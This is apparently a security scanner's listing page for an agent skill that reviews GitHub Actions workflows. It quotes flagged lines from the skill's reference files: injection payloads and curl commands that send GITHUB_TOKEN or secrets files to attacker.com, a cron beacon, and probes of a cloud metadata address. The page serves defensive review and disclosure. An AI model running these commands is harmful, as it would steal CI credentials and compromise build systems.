← All skills
gha-security-review
77 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By boisenoise/skills-collections (GitHub) · coding · 12 stars · scanned at commit 419c39f
Review GitHub Actions workflows for exploitable vulnerabilities with concrete attack paths and harmless proof-of-concept sketches. Require explicit authorization for active testing.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: attacker.com, internal-api.corp.example.com, 169.254.169.254
The author does not mention this.
Found in 13 places.
Show 10 more
- skills/antigravity-gha-security-review/references/expression-injection.md, line 20
"; curl https://attacker.com/$(cat $GITHUB_TOKEN) # - skills/antigravity-gha-security-review/references/expression-injection.md, line 25
echo "PR Title: "; curl https://attacker.com/$(cat $GITHUB_TOKEN) #" - skills/antigravity-gha-security-review/references/expression-injection.md, line 72
The base64 decodes to `curl -sSfL attacker.com/steal`, executed via command substitution in the filename. - skills/antigravity-gha-security-review/references/pwn-request.md, line 50
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN" \ - skills/antigravity-gha-security-review/references/pwn-request.md, line 79
os.system(f"curl -d token=$GITHUB_TOKEN https://attacker.com/collect") - skills/antigravity-gha-security-review/references/real-world-attacks.md, line 50
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN" \ - skills/antigravity-gha-security-review/references/runner-infrastructure.md, line 34
echo '* * * * * curl https://attacker.com/beacon' >> /var/spool/cron/crontabs/runner - skills/antigravity-gha-security-review/references/runner-infrastructure.md, line 52
curl -d @/home/runner/work/*/secrets.env https://attacker.com/collect - skills/antigravity-gha-security-review/references/runner-infrastructure.md, line 68
curl http://internal-api.corp.example.com/admin - skills/antigravity-gha-security-review/references/runner-infrastructure.md, line 70
curl http://169.254.169.254/latest/meta-data/ # Cloud metadata (example of attack vector)
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 6 places.
Show 3 more
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.
Found in 3 places.
Changes files outside its own folder
This is disclosed by the author in the skill's SKILL.md or README.
Found in 2 places.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'gha-security-review' ] || [ -L ~/.agents/skills/'gha-security-review' ]; then echo 'A skill folder named gha-security-review already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/boisenoise/skills-collections' "$d" && git -C "$d" checkout --quiet '419c39fde874b8baecbb36a397b967e0190a2ece' -- 'skills/antigravity-gha-security-review' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/antigravity-gha-security-review' ~/.agents/skills/'gha-security-review' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'gha-security-review' ~/.claude/skills/'gha-security-review' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for boisenoise/skills-collections shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/boisenoise/skills-collections/)
Score history
| Date | Version | Score |
|---|
| 2026-11-12 | 419c39f | 77 |
| 2026-11-08 | 5fe45e5 | 77 |
| 2026-11-06 | b89b2f5 | 77 |